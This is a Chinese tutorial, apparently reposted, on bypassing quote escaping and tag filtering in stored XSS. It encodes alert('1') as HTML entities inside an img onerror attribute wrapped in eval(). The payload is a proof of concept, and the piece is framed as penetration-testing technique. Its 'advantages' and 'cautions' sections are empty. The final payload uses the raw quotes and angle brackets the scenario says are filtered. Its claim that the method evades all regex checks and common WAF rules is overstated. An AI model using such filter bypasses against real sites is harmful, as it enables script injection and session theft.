如何利用 HTML 编码绕过转义实现存储型 XSS 攻击

本文详解在引号被反斜杠转义、尖括号被过滤的受限环境下,如何通过 HTML 实体编码构造合法的 onerror 事件 payload,成功触发存储型 XSS,重点演示 eval() 配合编码绕过的实战技巧。

本文详解在引号被反斜杠转义、尖括号被过滤的受限环境下,如何通过 HTML 实体编码构造合法的 `onerror` 事件 payload,成功触发存储型 XSS,重点演示 `eval()` 配合编码绕过的实战技巧。

在实际渗透测试中,遇到存储型 XSS 时,常会遭遇服务端的多重防护:如对单/双引号自动添加反斜杠(\)、移除或编码 < > 标签、甚至过滤关键词(如 script、javascript:)。此时直接注入 <img src=x onerror="alert(1)"> 会被拦截或破坏语法结构,导致 payload 失效。

但关键在于:HTML 解析器会在执行 JavaScript 前,先完成 HTML 实体解码。这意味着,只要将 JS 代码中的敏感字符(如引号、括号、字母)转换为十进制 HTML 实体(如 &#97; → a),就能在不使用原始符号的前提下,拼出可执行的 JS 表达式。

例如,目标存在如下受控 <img> 标签:

<img class="br64 mr15" onerror="this.onerror=null;this.src=`https://www.examplesite.zcs/default.png`;" width="100" height="100" src="xss is here">

虽然 " ' ( ) < > 等字符被转义或过滤,但我们可以将 alert('1') 全量 HTML 编码为:

&#97;&#108;&#101;&#114;&#116;&lpar;&apos;&#49;&apos;&rpar;

对应解码后即为 alert('1') —— 注意:&lpar; 是 ( 的命名实体,&rpar; 是 ),&apos; 是 ',均属标准 HTML 实体,兼容性好且绕过所有基于正则的引号/括号检测。

最终构造的绕过 payload 如下:

<img class="br64 mr15" 
     src="badurl.png" 
     onerror="eval(&#97;&#108;&#101;&#114;&#116;&lpar;&apos;&#49;&apos;&rpar;);" 
     width="100" 
     height="100" 
     src="xss is here">

✅ 优势分析:

⚠️ 注意事项:

总结而言,HTML 实体编码是突破基础输入过滤的高效手段。它不依赖特殊字符,不触发常见 WAF 规则,且与 DOM 渲染流程天然契合。掌握 &#xx; + &named; 的组合技巧,能显著提升在受限 XSS 场景下的利用成功率。

本文转载于:互联网 如有侵犯,请联系zhengruancom@outlook.com删除。
免责声明:正软商城发布此文仅为传递信息,不代表正软商城认同其观点或证实其描述。